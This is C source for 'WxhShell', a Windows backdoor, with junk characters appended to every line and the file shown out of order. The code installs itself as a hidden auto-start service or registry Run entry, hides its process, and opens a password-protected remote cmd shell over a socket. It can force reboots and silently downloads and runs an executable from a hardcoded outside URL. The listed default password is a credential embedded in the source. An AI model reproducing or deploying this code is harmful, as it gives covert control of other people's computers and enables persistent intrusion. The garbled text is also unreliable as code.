    if(Boot(SHUTDOWN)) >{O[t2&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l@,);w=_P  
    else { B]A 5n8<  
    closesocket(wsh); Z_iAn TT  
    ExitThread(0); Iq4Kgc  
    } s5c! ^,L8  
    break; N,WI{*  
    } D< nlb-  
  // 获取shell DZHrR:q?e  
  case 's': { t` }20=I+  
    CmdShell(wsh); 9F2w.(m  
    closesocket(wsh); c*y$bf<  
    ExitThread(0); LVPt*S=/  
    break; ke3HK9P;  
  } - XE79 fQ  
  // 退出 /2g)Z!&+L  
  case 'x': { %k/ k]: s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iYO wB'z  
    CloseIt(wsh); (t]lP/  
    break; PphR4 sIM  
    } Eg@R[ ^T  
  // 离开 =$"zqa.B6  
  case 'q': {  opUKrB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `A4QU,0 8h  
    closesocket(wsh); Bg+<*z-?e  
    WSACleanup(); y)?W-5zL  
    exit(1); N&0uXrw  
    break; O ,Pl7x%tK  
        } p?dGZ2` [I  
  } naec"Kut  
  } Ee t+  
MZUF! B  
  // 提示信息 pm'@2dT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QOkE\ro  
} Z$OF|ZZQ  
  } E3CiZ4=5  
"TBQNWZ  
  return; iF#}t(CrH  
} &rl]$Mtt  
E1Ru)k{B  
// shell模块句柄 -V;0_Nx7p  
int CmdShell(SOCKET sock) )8 "EI-/.  
{ 68&6J's;  
STARTUPINFO si; Pe+ 8~0o=R  
ZeroMemory(&si,sizeof(si)); U/1[~429  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mV:RmA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q|j@#@O1  
PROCESS_INFORMATION ProcessInfo; G+#| )V  
char cmdline[]="cmd"; F:*[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LyJTK1]#  
  return 0; a@5xz)  
} Dyouk+08x  
1jUhG2y  
// 自身启动模式 / K_e;(Y_  
int StartFromService(void) ? z)y%`}  
{ D&z'tf5  
typedef struct jm#d7@~4  
{ _SBp66 r  
  DWORD ExitStatus; H0D>A<Ue  
  DWORD PebBaseAddress; 9Sx<tj_4P{  
  DWORD AffinityMask; [p( #WM:  
  DWORD BasePriority; AhbT/  
  ULONG UniqueProcessId; ADLa.{  
  ULONG InheritedFromUniqueProcessId;  qrkRD*a  
}   PROCESS_BASIC_INFORMATION; IS0HV$OI  
zbIwH6  
PROCNTQSIP NtQueryInformationProcess; zJG x5JC  
.WL\:{G8;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  =BqaGXr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5I8FD".i  
[x$eF~Kp  
  HANDLE             hProcess; F9u:8;\@`  
  PROCESS_BASIC_INFORMATION pbi; rB.=f[aX[  
I9:G9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >?G|Yz*kEJ  
  if(NULL == hInst ) return 0; F653[[eQ  
L6[rvM|9_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L5zG0mC8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DK@w^ZW6JA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e~t}z_>F  
:"<B@Z  
  if (!NtQueryInformationProcess) return 0; Ry8WNVO}R  
d}wa[WRv   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =& Tu`m  
  if(!hProcess) return 0; 6uCk0 B|  
BqLtTo?'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "x:)$@  
o/  x5  
  CloseHandle(hProcess); wQdW lon  
aCUV[CPw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /,rF$5G,  
if(hProcess==NULL) return 0; #5ohmp,u  
SQ^^1.V&/Y  
HMODULE hMod; '&pf  
char procName[255]; ld!6|~0U  
unsigned long cbNeeded; ^O$[Y9~*  
+]S;U&vQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H4y1Hpa,  
So)KI_M  
  CloseHandle(hProcess); +%Bf y4F6  
WB=<W#?w7%  
if(strstr(procName,"services")) return 1; // 以服务启动 wCq)w=,  
w371.84  
  return 0; // 注册表启动 *xv/b=  
} XC$+ `?  
Y&05 *b"  
// 主模块  &aevR^f+  
int StartWxhshell(LPSTR lpCmdLine) 1VjeP *  
{ /SqFP L]  
  SOCKET wsl; M|Dwk3#  
BOOL val=TRUE; cT>z  
  int port=0; U3_yEvZ  
  struct sockaddr_in door; }<\65 B$1  
d,oOn.n&  
  if(wscfg.ws_autoins) Install(); ?2<6#>(7a  
Ltic_cjYd?  
port=atoi(lpCmdLine); $Va]vC8?  
}lNuf u  
if(port<=0) port=wscfg.ws_port; 8Snq75Q<   
)HzITsFZKT  
  WSADATA data; ek{PA!9Sk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2,XqslB)  
n7,6a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~U7\ LBF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )Py+jc.  
  door.sin_family = AF_INET; Z '>eT)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G%p!os\>  
  door.sin_port = htons(port); :WfB!4%!  
B 1d%#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }d~FTre  
closesocket(wsl); l6`d48U  
return 1; 2;?wN`}5g=  
} 3ciVjH>i  
7ck0S+N'b  
  if(listen(wsl,2) == INVALID_SOCKET) { TJw.e/  
closesocket(wsl); Pu%>j'A  
return 1; uDE91.pUkr  
}  Sj{rvW  
  Wxhshell(wsl); Y^jnlS)h  
  WSACleanup(); S^Wqa:;  
SG|i/K|7  
return 0; yz2oS|0'  
R 6yvpH  
} 602eLV)  
xZ @O"*{  
// 以NT服务方式启动 zIYr0k*%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VU+s7L0  
{ 6B;_uIq5  
DWORD   status = 0; P=sK+}5`q  
  DWORD   specificError = 0xfffffff; PM@s}(  
VrGb;L'[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %`\3V {2*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rd 35)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !DX/^b  
  serviceStatus.dwWin32ExitCode     = 0; ?9r,Y;,H  
  serviceStatus.dwServiceSpecificExitCode = 0; R:IS4AaS  
  serviceStatus.dwCheckPoint       = 0; Lq $4.l[j  
  serviceStatus.dwWaitHint       = 0; 2W:?#h3  
}b ]y 0"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kJ<Xq   
  if (hServiceStatusHandle==0) return; f/[?5M[  
;AL@<,8  
status = GetLastError(); tCCi|*P G  
  if (status!=NO_ERROR) U9p.Dh~)vG  
{ x{`<);CQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |7Xpb  
    serviceStatus.dwCheckPoint       = 0; u FYQ^  
    serviceStatus.dwWaitHint       = 0; #<i> <EG  
    serviceStatus.dwWin32ExitCode     = status; .McoW7|Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lc:SqF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p:Ld)U*  
    return; =|5bhwU]  
  } q(ET)xCeD  
pffw5Tc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z Lio8  
  serviceStatus.dwCheckPoint       = 0; MoR-8vnJ  
  serviceStatus.dwWaitHint       = 0; _M]rH<h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f_P+qm  
} Oi%~8J>  
@~U6=(+  
// 处理NT服务事件,比如:启动、停止 ]Y: W[p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hv7D+ j8M  
{ }Keon.N?   
switch(fdwControl) >RqT7n8h  
{ y:[VRLo  
case SERVICE_CONTROL_STOP: I^\bS  
  serviceStatus.dwWin32ExitCode = 0; bb :|1D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `J ,~hK  
  serviceStatus.dwCheckPoint   = 0; ttq< )4  
  serviceStatus.dwWaitHint     = 0; -^xKG'uth  
  { J!fc)h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#")G1A  
  } 19-yM`O  
  return; &Cpxo9-  
case SERVICE_CONTROL_PAUSE: *DI:MBJY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }!7DF  
  break; RdVis|7o  
case SERVICE_CONTROL_CONTINUE: K\E]X\:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4C9"Q,o%&  
  break; R6@~   
case SERVICE_CONTROL_INTERROGATE: a~eLkWnh<k  
  break; @?cXa: tX  
}; b= ec?n #7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :2Rci`lp  
} 8J?`_  
X-r,>o:  
// 标准应用程序主函数 !#4HGjPI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kR~4O$riG  
{ =qR7-Q8B  
DHNii_w4v  
// 获取操作系统版本 lGHu@(n<  
OsIsNt=GetOsVer(); {ugKv?e ;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *9{Wn7pck/  
ihY^~  
  // 从命令行安装 ecI 2]aKi  
  if(strpbrk(lpCmdLine,"iI")) Install(); {2*l :'  
iXS-EB/  
  // 下载执行文件 hsVJ&-#  
if(wscfg.ws_downexe) { Sq8Q *  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B';> Hk  
  WinExec(wscfg.ws_filenam,SW_HIDE); =?*"V-l  
} c^)E:J/  
qkG;YGio  
if(!OsIsNt) { .,K?\WZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~0r.3KTl"Y  
HideProc(); KY34 'Di  
StartWxhshell(lpCmdLine); 7{6.  
} Y {|~A  
else -j=&J8Za  
  if(StartFromService()) $`dNl#G,  
  // 以服务方式启动 /(pD^D  
  StartServiceCtrlDispatcher(DispatchTable); IoHkcP[H  
else }%d-U;Tt2  
  // 普通方式启动 Y~SlipY_  
  StartWxhshell(lpCmdLine); Rpd/9x.)&  
X*yp=qI  
return 0; HYnqx>L ~  
} {1U*: @j  
*k]S{]Y  
12' (MAP  
z2q5f :d8  
=========================================== 8*~:gZ7:  
f4y;K>u7p  
G$`4.,g  
uW'4 Kt  
QuRg(K%:  
^(JbJ@m/  
" Fj('l  
lR2;g:&H  
#include <stdio.h> W3/Stt$D  
#include <string.h> U5$DJ5>8  
#include <windows.h> K2 K6  
#include <winsock2.h> 4_0/]:~5  
#include <winsvc.h> Ns= b&Uyc  
#include <urlmon.h> [ .uaO  
vFC=qLz:  
#pragma comment (lib, "Ws2_32.lib") s1$#G!'  
#pragma comment (lib, "urlmon.lib") Cj9O [  
iT9Ex9RL  
#define MAX_USER   100 // 最大客户端连接数 (Tb0PzA  
#define BUF_SOCK   200 // sock buffer ^o\p|f>f  
#define KEY_BUFF   255 // 输入 buffer dq/?&X  
5@A=, GPUn  
#define REBOOT     0   // 重启 Q~!hr0 ZR  
#define SHUTDOWN   1   // 关机  `e=n( D  
^&/&I9z  
#define DEF_PORT   5000 // 监听端口 .eXA.9 |jm  
'J0s%m|j  
#define REG_LEN     16   // 注册表键长度 Ngc+<  
#define SVC_LEN     80   // NT服务名长度 w$:)wyR-  
=usDI<3r  
// 从dll定义API _`[6jhNa!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #$B,8LFz,$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yzR=:0J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Kf^F#dA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZDJWd=E  
KY&,(z   
// wxhshell配置信息 W@C tFU9  
struct WSCFG { mg/kyua^  
  int ws_port;         // 监听端口 Y8{1?LO  
  char ws_passstr[REG_LEN]; // 口令 tsVhPo]e0  
  int ws_autoins;       // 安装标记, 1=yes 0=no +p6\R;_E  
  char ws_regname[REG_LEN]; // 注册表键名 hdqls0 r  
  char ws_svcname[REG_LEN]; // 服务名 wO)KQ~yX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8'Bl=C|0X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &U)s%D8e;d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CHP6H}#|g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nb^:_0&H@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P]{.e UB@c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -"K:ve(K  
U)]natB  
}; A@AGu#W  
<X&:tZ #/  
// default Wxhshell configuration k 0Yixa  
struct WSCFG wscfg={DEF_PORT, `b'J*4|oGo  
    "xuhuanlingzhe", A1$'[8U~3  
    1, 0-f-  
    "Wxhshell", E'6P>6l5  
    "Wxhshell", DC7}Xly(  
            "WxhShell Service", =U`c }dhS  
    "Wrsky Windows CmdShell Service", >g0@ Bk  
    "Please Input Your Password: ", 'X<uG x  
  1, U2nRgd  
  "http://www.wrsky.com/wxhshell.exe", 3g:+p  
  "Wxhshell.exe" <r3n?w8  
    }; x99 Oq!  
v("vUqhx2+  
// 消息定义模块 }AYSQ~:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Q}@L1A9F,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F|{?GV%hF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5B/\vLHg4  
char *msg_ws_ext="\n\rExit."; FY*0gp  
char *msg_ws_end="\n\rQuit."; Jo+C!kc  
char *msg_ws_boot="\n\rReboot..."; bl-s0Ax-  
char *msg_ws_poff="\n\rShutdown..."; Nj8)HR  
char *msg_ws_down="\n\rSave to "; GFkte  
c &(,  
char *msg_ws_err="\n\rErr!"; Lb 4!N` l  
char *msg_ws_ok="\n\rOK!"; P"@^'yR5WK  
S`@*zQ  
char ExeFile[MAX_PATH]; :]hfmWC   
int nUser = 0; 1V?)zp  
HANDLE handles[MAX_USER]; \>7-<7+I6  
int OsIsNt; q0Pu6"^  
(OJ9@_fgG[  
SERVICE_STATUS       serviceStatus; V@-GQP1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~J:lC u  
K L~sEli  
// 函数声明 !Sh5o'D28  
int Install(void); YU(x!<Z  
int Uninstall(void); Zotv]P2k  
int DownloadFile(char *sURL, SOCKET wsh); wuQkeWxJ  
int Boot(int flag); f+AIxSw  
void HideProc(void); 2GS2,  
int GetOsVer(void); "ZW*O{  
int Wxhshell(SOCKET wsl); )\G#[Pc7  
void TalkWithClient(void *cs); t]%R4ymV  
int CmdShell(SOCKET sock); HX*U2<^  
int StartFromService(void); 3$;v# P$%N  
int StartWxhshell(LPSTR lpCmdLine); hJN A%  
ohk =7d.'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f` J"A:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,DLNI0uV  
')RK(I  
// 数据结构和表定义 8;3FTF  
SERVICE_TABLE_ENTRY DispatchTable[] = ^o:5B%}#[  
{ >UH=]$0N  
{wscfg.ws_svcname, NTServiceMain}, 1sA-BQL  
{NULL, NULL} bNgcZ V.  
}; J1t?Qj;f3  
*n5g";k|  
// 自我安装 `<G+ N  
int Install(void) 2eYkWHi  
{ ~VF,qspO  
  char svExeFile[MAX_PATH]; w2GY,,R  
  HKEY key; 6j#5Ag:  
  strcpy(svExeFile,ExeFile); 2&#iHv  
30"G%DFd  
// 如果是win9x系统,修改注册表设为自启动 PeaD]  
if(!OsIsNt) { ~<LI p%5(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b\mN^P~>A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |lY8u~%  
  RegCloseKey(key); -tZb\4kh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K)ib{V(50  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k2;yl _7  
  RegCloseKey(key); ppA8c6  
  return 0;  tvILLR  
    } a8TE  
  } eO#)QoHj^  
} a3[aXe  
else { '/?&Gol-  
/qG?(3  
// 如果是NT以上系统,安装为系统服务 4esf&-gG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &(0);I@fc  
if (schSCManager!=0) q~C6+  
{ QKxu vW  
  SC_HANDLE schService = CreateService #a| 5A:g%  
  ( 9AaixI  
  schSCManager, **"sru;@=  
  wscfg.ws_svcname, V6N#%(?3  
  wscfg.ws_svcdisp, (?(ahtT4T  
  SERVICE_ALL_ACCESS, Emo]I[<&q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V qf}(3K0  
  SERVICE_AUTO_START, seim?LK  
  SERVICE_ERROR_NORMAL, w:Vs$,  
  svExeFile, R?R6|4  
  NULL, _35?z"0  
  NULL, 'yqp   
  NULL, Lm/^ 8V+  
  NULL, ~ nIZ g5  
  NULL ezeGw?/  
  ); 1Cthi[ B  
  if (schService!=0) Gf>T{Q`,is  
  { {S c1!2q  
  CloseServiceHandle(schService); e^fjla5  
  CloseServiceHandle(schSCManager); z$A5p4=B'^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r&w>+KIt  
  strcat(svExeFile,wscfg.ws_svcname); 6O?O6Ub  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @M-bE=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }|;n[+}  
  RegCloseKey(key); }T6jQ:?@  
  return 0; BDA\9m^3  
    } @ggM5mm  
  } F6 Ixu_s  
  CloseServiceHandle(schSCManager); .u)YZN0\  
} 5UqCRz<,R  
} <e"2<qVi  
XOoND  
return 1; (1R,   
} 99x]DY  
<K~#@.^`  
// 自我卸载 |<S9nZg%p  
int Uninstall(void) (fl2?d5+C  
{ rmhB!Lo  
  HKEY key; Sc(2c.HO*  
u:k#1Nn!  
if(!OsIsNt) { &'Ch[Wo]H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #"jWPe,d  
  RegDeleteValue(key,wscfg.ws_regname); DvGtO)5._  
  RegCloseKey(key); %PQC9{hUy$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SU1, +7"  
  RegDeleteValue(key,wscfg.ws_regname); 6YN4]  
  RegCloseKey(key); Sx}h$E:  
  return 0; `8Gwf;P1  
  } [Gu]p&  
} =i.[|g"  
} GlaWBF#  
else { '#XP:nqFkK  
X~x]VKr/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t C&Xm}:  
if (schSCManager!=0) _ ge3R3  
{ phTZUm i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G[jCmkK  
  if (schService!=0) *fx<>aK  
  { nBQG.3  
  if(DeleteService(schService)!=0) { VFyt9:a  
  CloseServiceHandle(schService); IV\@GM:ait  
  CloseServiceHandle(schSCManager); s)>]'ii  
  return 0; SFuzH)+VO  
  } tNtP+v-{  
  CloseServiceHandle(schService); X|b~,X%N  
  } FT=w`NE,+  
  CloseServiceHandle(schSCManager); StE4n0V  
} UJQ!~g.y]  
} n1v%S"^  
tTY(I1  
return 1; 7oUYRqd  
} 4&?%"2  
?qdG)jo=  
// 从指定url下载文件 ]wP)!UZ  
int DownloadFile(char *sURL, SOCKET wsh) OUD<+i,  
{ U*zjEY:A  
  HRESULT hr; (FBKP#x)^  
char seps[]= "/"; 7Y_S%B:F  
char *token; _M 7AQ5  
char *file; Lz4iLLP  
char myURL[MAX_PATH]; HYtkSsXLN  
char myFILE[MAX_PATH]; 9nB:=`T9  
J,k{Bm  
strcpy(myURL,sURL); 1w35 H9\g  
  token=strtok(myURL,seps); E*[X\70  
  while(token!=NULL) B1Xn <Wv  
  { C! :\H<gI  
    file=token; >2_J(vm>  
  token=strtok(NULL,seps); RS$e^_W  
  } KktQA*G  
H4)){\  
GetCurrentDirectory(MAX_PATH,myFILE); "g0L n5&  
strcat(myFILE, "\\"); f9!wO';P6  
strcat(myFILE, file); ~6R| a  
  send(wsh,myFILE,strlen(myFILE),0); |n0 )s% 8`  
send(wsh,"...",3,0); {BgGG@e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wAITE|H<zj  
  if(hr==S_OK) B4I|"5G2y  
return 0; & %1XYpA.0  
else o-R;EbL  
return 1; %c[by  
Lt_7pb%  
} T*z >A  
2@=JIMtc  
// 系统电源模块 a(bgPkPP  
int Boot(int flag) "=HCP,  
{ :H6Ipa  
  HANDLE hToken; <V9L AWeS  
  TOKEN_PRIVILEGES tkp; 9Y~A2C  
<s  $~h  
  if(OsIsNt) { d!8`}L:=M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]XU?Wg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +DksWb D  
    tkp.PrivilegeCount = 1; }9jy)gF*e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \acjv|]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Uq7 y4zJ  
if(flag==REBOOT) { +oeO 0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w$pBACX  
  return 0; [CJ&Yz Ji  
} 0IxXhu6v  
else { @2]_jW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JhIgq W2  
  return 0; S's\M5  
} 7\eN 8+  
  } -k= 02?0p+  
  else { we!}"'E;  
if(flag==REBOOT) { C;M.dd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nxCwg>  
  return 0; rk{DrbRx  
} <1>\?$)D  
else { }h>QkV,{2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eXUXoK=T  
  return 0; 5nQ*%u\$Z  
} [P407Sa"  
} 6I"Q9(  
8v_HIx0xu  
return 1; \_qiUvPf\  
} tGe|@.!  
g!i\ AMG?  
// win9x进程隐藏模块 94LFElE3  
void HideProc(void) BJ wPSKL  
{ t=Tu-2,k  
]HCu tq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zaf%%  
  if ( hKernel != NULL ) (pNA8i%=G  
  { =EgiV<6vcH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C|8.$s<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J[ du>1D  
    FreeLibrary(hKernel); s9?klJg  
  } H"6Sj-<=  
w-pdpbHV  
return; ]G#og)z4  
} t?iCq1  
v=$v*W  
// 获取操作系统版本 ]z;%%'gW6  
int GetOsVer(void) p=V (_  
{ ggIz) </  
  OSVERSIONINFO winfo; uAwT)km {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); );'8*e'  
  GetVersionEx(&winfo); C A VqjT7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^W{+?q'  
  return 1; 0ZlF#PJA  
  else ]^uO3!+  
  return 0; 76(-!Z@=J  
} TU&gj1  
17 Hdj  
// 客户端句柄模块 O|}97a^  
int Wxhshell(SOCKET wsl) 8(&Jy RT  
{ icOh/G=N;  
  SOCKET wsh; =Wn11JGh  
  struct sockaddr_in client; be}^}w=  
  DWORD myID; WgF Xv@Jjt  
h/W@R_Y  
  while(nUser<MAX_USER) wz3BtCx  
{ Ox#%Dm2  
  int nSize=sizeof(client); ^&>(_I\w.6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UEbRg =6  
  if(wsh==INVALID_SOCKET) return 1; RBd{1on  
6lpfk&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7g^=   
if(handles[nUser]==0) <nOK#;O)  
  closesocket(wsh); ,IX:u1mO  
else Ii_X^)IL(  
  nUser++; fH-V!QYGF  
  } TL lR"L5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #8H  
Ze[ezu  
  return 0; (sSMH6iCif  
} why;1z>V  
:80!-F*\  
// 关闭 socket 4 IuQQ  
void CloseIt(SOCKET wsh) C(qqGK{  
{ uU=O0?'zq  
closesocket(wsh); a*@ 6G  
nUser--; f^z/s6I0  
ExitThread(0); S4508l  
} YtI 2Vr/9  
7vax[,a I  
// 客户端请求句柄 `uo'w:Q  
void TalkWithClient(void *cs) C%}}~Y  
{ u|t<f`ze  
F$T@OT6  
  SOCKET wsh=(SOCKET)cs; yu"enA  
  char pwd[SVC_LEN]; ZbD_AP  
  char cmd[KEY_BUFF]; r PWn  
char chr[1]; 8(J&_7u  
int i,j; \x\_I1|  
 *(5y;1KU  
  while (nUser < MAX_USER) { D^V0kC p!F  
_7Z|=)  
if(wscfg.ws_passstr) { AC :cV='  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !l-^JPb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]"Z*Hq z  
  //ZeroMemory(pwd,KEY_BUFF); +MU|XT_5|6  
      i=0; aUUr&yf_L  
  while(i<SVC_LEN) { 0 UdAF  
b.V\E Ok  
  // 设置超时 1D159NLB  
  fd_set FdRead; 3}V`]B#a  
  struct timeval TimeOut; X;25G  
  FD_ZERO(&FdRead); 4 qMO@E_  
  FD_SET(wsh,&FdRead); O CIWQ/ P  
  TimeOut.tv_sec=8; Vf<VKP[9K  
  TimeOut.tv_usec=0; }#va#Nb(,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #-?C{$2I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0]%0wbY1  
X=$WsfN.h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UZ#Yd|'PD  
  pwd=chr[0]; 0*0]R C5?  
  if(chr[0]==0xd || chr[0]==0xa) { c@H:?s!0R  
  pwd=0; G Xx7/X  
  break; )* 5R/oy,  
  } g#b[-)Qx  
  i++; r:Uqtqxh  
    } /;>U0~K  
ti$d.Kc(  
  // 如果是非法用户,关闭 socket p!5= 1$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {nTQc2T?;  
} Uv|z c  
VQA}!p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |L|)r)t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CGmObN8~'F  
M\\t)=q  
while(1) { 49. @Uzo  
1haNca_6,  
  ZeroMemory(cmd,KEY_BUFF); mRVE@ pc2X  
XwWp4`Fd  
      // 自动支持客户端 telnet标准   n-iy;L^b  
  j=0; HRP4"#9R  
  while(j<KEY_BUFF) { ]r++YIg!j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4JF)w;X}  
  cmd[j]=chr[0]; mHcxK@qw  
  if(chr[0]==0xa || chr[0]==0xd) { e`gOc*  
  cmd[j]=0; IRy!8A=X  
  break; fT9z 4[M  
  } uLFnuK  
  j++; rz/^_dV  
    } A0Z<1|6r*  
%@JNX}Y'  
  // 下载文件 m2&"}bI{  
  if(strstr(cmd,"http://")) { ;:(kVdb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); my+y<C-o`  
  if(DownloadFile(cmd,wsh)) !J<}=G5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {c5%.<O  
  else Gd^K,3:. T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LvP{"K;   
  } FnkB z5D  
  else { %tx~CD  
?M2#fD]e  
    switch(cmd[0]) { !&4<"wQ  
  "XQj ~L  
